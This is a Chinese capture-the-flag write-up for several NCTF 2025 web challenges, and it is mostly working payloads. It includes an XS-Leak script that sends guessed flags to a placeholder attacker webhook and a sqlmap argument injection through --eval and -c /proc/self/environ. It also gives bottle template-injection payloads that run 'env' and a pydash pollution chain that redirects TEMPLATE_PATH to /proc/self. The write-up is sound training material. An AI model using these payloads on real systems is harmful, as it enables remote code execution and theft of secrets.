2025-nctf-web

web

internal_api

打XSLeak

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
    function checkError(url) {  // 定义函数,参数应为尝试的新flag(但被错误覆盖)
        url = "http://127.0.0.1:8000/internal/search?s=" + flag;  // 🚨错误:覆盖传入的url参数,实际使用的flag始终是全局变量初始值
        let script = document.createElement('script')  // 创建<script>标签用于发起请求
        let ret = false  // 🚨未使用的变量
        script.src = url  // 设置脚本地址(实际为固定地址,无法测试新字符)
        script.onload = () => {  // 脚本加载成功时触发
            fetch("http://yourwebhook/?flag=" + flag)  // 发送当前全局flag到攻击者服务器(但全局flag从未更新)
        }
        script.onerror = (e) => {}  // 加载失败不处理(未利用错误信息)
        document.head.appendChild(script)  // 插入脚本以触发请求
    }
    
    // 定义字符集和已知flag前缀
    let charset = 'abcdefghijklmnopqrstuvwxyz0123456789-}'  // 猜测字符范围(包含闭合符})
    let flag = 'flag{'  // Flag的通用开头(CTF常见格式)

    // 主爆破循环
    for (let i = 0; i < charset.length; i++) {  // 遍历字符集
        let c = charset[i]  // 获取当前尝试的字符
        let newFlag = flag + c  // 组合新flag(如flag{a)
        checkError(newFlag)  // 🚨错误:传入参数未被函数使用,实际所有请求仍为flag{
    }
</script>

每次运行爆出一位,然后手动在let flag = ‘flag{‘后加上即可

文章 - 浅谈XS-Leaks之Timeless timing attck - 先知社区

sqlmap-master

先审计代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from fastapi import FastAPI, Request  # 导入FastAPI框架及请求对象
from fastapi.responses import FileResponse, StreamingResponse  # 导入文件响应和流式响应类
import subprocess  # 用于执行系统命令

app = FastAPI()  # 创建FastAPI应用实例

@app.get("/")  # 定义根路径的GET路由
async def index():
    return FileResponse("index.html")  # 返回静态文件index.html(前端页面)

@app.post("/run")  # 定义/run路径的POST路由
async def run(request: Request):  # 接收请求对象
    data = await request.json()  # 异步获取请求的JSON数据
    url = data.get("url")  # 从数据中提取url参数
    
    if not url:  # 校验url参数是否存在
        return {"error": "URL is required"}  # 返回错误信息
    
    # 构建sqlmap命令(存在安全风险!见下方警告)
    command = f'sqlmap -u {url} --batch --flush-session'  # 直接拼接参数可能导致命令注入漏洞

    def generate():  # 定义生成器函数用于流式输出
        # 启动子进程执行命令
        process = subprocess.Popen(
            command.split(),  # 将命令按空格分割成列表(简单方式,复杂参数可能出错)
            stdout=subprocess.PIPE,  # 捕获标准输出
            stderr=subprocess.STDOUT,  # 将错误输出合并到标准输出
            shell=False  # 禁用shell模式(安全最佳实践)
        )
        
        while True:  # 持续读取输出
            output = process.stdout.readline()  # 逐行读取输出
            if output == '' and process.poll() is not None:  # 判断进程是否结束
                break
            if output:  # 如果有输出内容
                yield output  # 生成输出内容
    
    # 返回流式响应(实时显示扫描结果)
    return StreamingResponse(generate(), media_type="text/plain")

这里shell=flase,意味内容不会经过 Shell 的语法解析,全被当作参数看待,那就直接找找sqlmap有哪些可以执行命令或者读文件的参数

sqlmap | GTFOBins

通过 –eval 参数可以执⾏ Python 代码, 注意因为上⾯ command.split() 默认是按空格分隔的(所以下面的=号可变空格),注意这⾥参数的值不需要加上单双引号, 因为上⾯已经设置了 shell=False , 如果加上去反⽽代表的是 “eval ⼀个 Python 字符串”,然后将payload改为紧凑型,避免使用分号。

最终payload

最后打127.0.0.1 --eval=__import__('os').system('env')//等号可以变空格

用法 | sqlmap 用户手册

翻了翻sqlmap手册,发现-c可以加载配置文件选项、

所以也可以打

https://localhost?id=1 -c /proc/self/environ //id=1没实际作用,测试时候写的,可以不加

ez_dash

审计代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 提示信息:Flag在环境变量中,这可能意味着代码中存在某种漏洞,可以通过漏洞获取环境变量中的Flag值。

from typing import Optional  # 导入Optional类型,用于类型注解
import pydash  # 导入pydash模块,用于操作对象属性
import bottle  # 导入bottle框架,用于创建Web服务器

# 定义一个包含禁止访问的属性路径的列表,这些路径通常是Python对象的内部属性,防止用户通过这些路径篡改对象内部结构。
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__wrapped__', "Optional", "func", "render"]

# 定义一个包含禁止访问的名称的列表,初始时包含"bottle",防止用户直接操作bottle模块。
__forbidden_name__=["bottle"]

# 将内置模块中的所有属性名称添加到禁止访问的名称列表中,防止用户通过内置模块进行危险操作。
__forbidden_name__.extend(dir(globals()["__builtins__"]))

# 定义一个函数setval,用于设置指定对象的属性值。
def setval(name:str, path:str, value:str) -> Optional[bool]:
    # 如果名称中包含双下划线(__),直接返回False,防止用户访问Python的特殊方法或属性。
    if name.find("__")>=0: return False
    # 遍历禁止访问的名称列表,如果名称在列表中,返回False。
    for word in __forbidden_name__:
        if name==word:
            return False
    # 遍历禁止访问的路径列表,如果路径中包含列表中的内容,返回False。
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    # 从全局变量中获取指定名称的对象。
    obj=globals()[name]
    try:
        # 使用pydash模块的set_方法设置对象的属性值。
        pydash.set_(obj, path, value)
    except:
        # 如果设置失败,返回False。
        return False
    # 如果设置成功,返回True。
    return True

# 定义一个bottle的POST路由/setValue,用于接收用户请求并调用setval函数设置属性值。
@bottle.post('/setValue')
def set_value():
    # 从请求的查询参数中获取对象名称。
    name = bottle.request.query.get('name')
    # 从请求的JSON数据中获取属性路径。
    path = bottle.request.json.get('path')
    # 如果路径不是字符串,返回"no"。
    if not isinstance(path, str):
        return "no"
    # 如果名称或路径长度超过限制,返回"no"。
    if len(name) > 6 or len(path) > 32:
        return "no"
    # 从请求的JSON数据中获取属性值。
    value = bottle.request.json.get('value')
    # 调用setval函数设置属性值,根据返回值返回"yes"或"no"。
    return "yes" if setval(name, path, value) else "no"

# 定义一个bottle的GET路由/render,用于渲染模板。
@bottle.get('/render')
def render_template():
    # 从请求的查询参数中获取模板路径。
    path = bottle.request.query.get('path')
    # 如果路径中包含"{", "}", "."等字符,返回"Hacker",防止用户通过模板注入攻击。
    if path.find("{") >= 0 or path.find("}") >= 0 or path.find(".") >= 0:
        return "Hacker"
    # 使用bottle的template方法渲染模板并返回结果。
    return bottle.template(path)

# 启动bottle服务器,监听0.0.0.0的8000端口。
bottle.run(host='0.0.0.0', port=8000)

解法一

这里没过滤%,所以在rende路由可以执行python代码(类似打ssti),paylaod

原型是%eval("__import__('os').popen('env')")但是过滤了点号,所以用chr(46)代替,然后也不能出现空格,然后render只能渲染文件,不能渲染字符串,所以要将env输入到一个文件中,所以最终pyload是

%eval("__import__('os')"%2bchr(46)%2b"popen('env>1')")

解法二:打abort无回显

1
<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%0aa=getoutput("env")%0aabort(404,a)%20%>

写成代码形式可能看得懂一点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 从bottle库中导入abort函数,用于发送HTTP错误响应
from bottle import abort

# 从subprocess库中导入getoutput函数,用于执行系统命令并获取输出
from subprocess import getoutput

# 执行系统命令"env",该命令用于列出当前环境变量,并将输出存储在变量a中
a = getoutput("env")

# 使用abort函数发送一个404 HTTP错误响应,并将环境变量的输出作为错误消息返回
abort(404, a)

ez_dash_revenge

此题过滤了%,所以无法打上面得非预期(其实上面也是考原型污染链)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from typing import Optional
import pydash
import bottle

# 禁止访问的路径属性列表,主要是Python对象的特殊方法和属性
__forbidden_path__ = ['__annotations__', '__call__', '__class__', '__closure__',
                      '__code__', '__defaults__', '__delattr__', '__dict__',
                      '__dir__', '__doc__', '__eq__', '__format__',
                      '__ge__', '__get__', '__getattribute__',
                      '__gt__', '__hash__', '__init__', '__init_subclass__',
                      '__kwdefaults__', '__le__', '__lt__', '__module__',
                      '__name__', '__ne__', '__new__', '__qualname__',
                      '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
                      '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
                      "Optional", "render"
                      ]

# 禁止访问的名称列表,包括bottle模块和内置对象
__forbidden_name__ = ["bottle"]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

# 设置变量值的函数
def setval(name: str, path: str, value: str) -> Optional[bool]:
    # 如果名称包含双下划线,返回False
    if name.find("__") >= 0:
        return False
    # 检查名称是否在禁止列表中
    for word in __forbidden_name__:
        if name == word:
            return False
    # 检查路径是否包含禁止的属性
    for word in __forbidden_path__:
        if path.find(word) >= 0:
            return False
    # 获取全局对象
    obj = globals()[name]
    try:
        # 使用pydash.set_方法设置对象的属性值
        pydash.set_(obj, path, value)
    except:
        # 如果设置失败,返回False
        return False
    # 设置成功,返回True
    return True

# 处理POST请求的路由,用于设置变量值
@bottle.post('/setValue')
def set_value():
    # 获取请求中的name参数
    name = bottle.request.query.get('name')
    # 获取请求中的path参数,必须是字符串类型
    path = bottle.request.json.get('path')
    if not isinstance(path, str):
        return "no"
    # 检查name和path的长度是否超出限制
    if len(name) > 6 or len(path) > 32:
        return "no"
    # 获取请求中的value参数
    value = bottle.request.json.get('value')
    # 调用setval函数设置变量值,并根据结果返回yes或no
    return "yes" if setval(name, path, value) else "no"

# 处理GET请求的路由,用于渲染模板
@bottle.get('/render')
def render_template():
    # 获取请求中的path参数
    path = bottle.request.query.get('path')
    # 检查path长度是否超出限制
    if len(path) > 10:
        return "hacker"
    # 定义黑名单字符,防止路径注入
    blacklist = ["{", "}", ".", "%", "<", ">", "_"]
    # 检查path是否包含黑名单字符
    for c in path:
        if c in blacklist:
            return "hacker"
    # 使用bottle.template渲染模板
    return bottle.template(path)

# 启动bottle应用,监听所有接口的8000端口
bottle.run(host='0.0.0.0', port=8000)

此题先看懂setval函数,这里面 pydash.set_(obj, path, value)很重要,其中name是我们要污染的对象,path是被污染的功能点路径,value是我们想让这个对象成为的值。

再来看此题,由pydash知https://github.com/dgilland/pydash/blob/develop/src/pydash/helpers.py,path有一个bottle.TEMPLATE_PATH—(指定模板文件所在的路径),我们要污染他的路径,让他指向/proc/self/,然后再最后在 /render 路由下 GET 传参 path 为 environ ,对其进⾏渲染,就可以获取环境变量了,但是pydash限制不能随意更改bottle属性,接下来审计一下pydash源码,关键限制代码如下(截取了三段代码)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def base_set(obj, key, value, allow_override=True):
    """
    Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available
    index position, append to list; otherwise, pad the list of ``None`` and then append to the list.

    Args:
        obj: Object to assign value to.
        key: Key or index to assign to.
        value: Value to assign.
        allow_override: Whether to allow overriding a previously set key.
    """
    # 如果obj是字典类型
    if isinstance(obj, dict):
        # 如果允许覆盖或者key不在字典中
        if allow_override or key not in obj:
            # 将key对应的值设置为value
            obj[key] = value
    # 如果obj是列表类型
    elif isinstance(obj, list):
        # 将key转换为整数类型
        key = int(key)

        # 如果key小于列表的长度
        if key < len(obj):
            # 如果允许覆盖
            if allow_override:
                # 将列表中key位置的值设置为value
                obj[key] = value
        else:
            # 如果key大于列表的长度
            if key > len(obj):
                # 使用None填充列表,直到key的位置
                obj[:] = (obj + [None] * key)[:key]
            # 在列表末尾追加value
            obj.append(value)
    # 如果obj是其他类型,并且允许覆盖或者该属性不存在,并且obj不是None
    elif (allow_override or not hasattr(obj, key)) and obj is not None:
        # 调用_raise_if_restricted_key函数检查是否是受限制的键
        _raise_if_restricted_key(key)
        # 使用setattr函数设置obj的key属性为value
        setattr(obj, key, value)
1
RESTRICTED_KEYS = ("__globals__", "__builtins__")
1
2
3
4
def _raise_if_restricted_key(key):
    # Prevent access to restricted keys for security reasons.
    if key in RESTRICTED_KEYS:
        raise KeyError(f"access to restricted key {key!r} is not allowed")

所以接下来思路明显了,先污染key函数为空,使我们可以用globals,然后再污染PATH,再渲染envrion即可

用bp在/setValue抓包

1
2
3
name=pydash#污染对象是pydash
path:"helpers.RESTRICTED_KEYS" # 路径就是 helpers ⽂件中的 RESTRICTED_KEYS
value:[]#修改成为的值就是空列表
1
2
3
name=setval # 污染对象是 setval
path:"__globals__.bottle.TEMPLATE_PATH" # 路径是模板⽂件路径
value:[../../../../proc/self] # 修改为的值是存储环境变量⽂件路径,因为题⽬提示flag在环境变量中name=setval

深度解析:此paylaod寻找setval函数,将该函数往上查询____globals____.(__globals__ 是函数对象的一个属性,它会返回一个包含该函数全局命名空间的字典),然后调用bottle框架中的TEMPLATE_PATH(指定模板文件所在的路径),将路径设置为/proc/self/这样访问path时会自动跳转到这个路径下

流程:

1
2
3
4
5
{
	"path":"helpers.RESTRICTED_KEYS",
	"value":[
	]
}

注意type改成json

1
2
3
4
{
	"path":"__globals__.bottle.TEMPLATE_PATH",
	"value":["/proc/self"]
}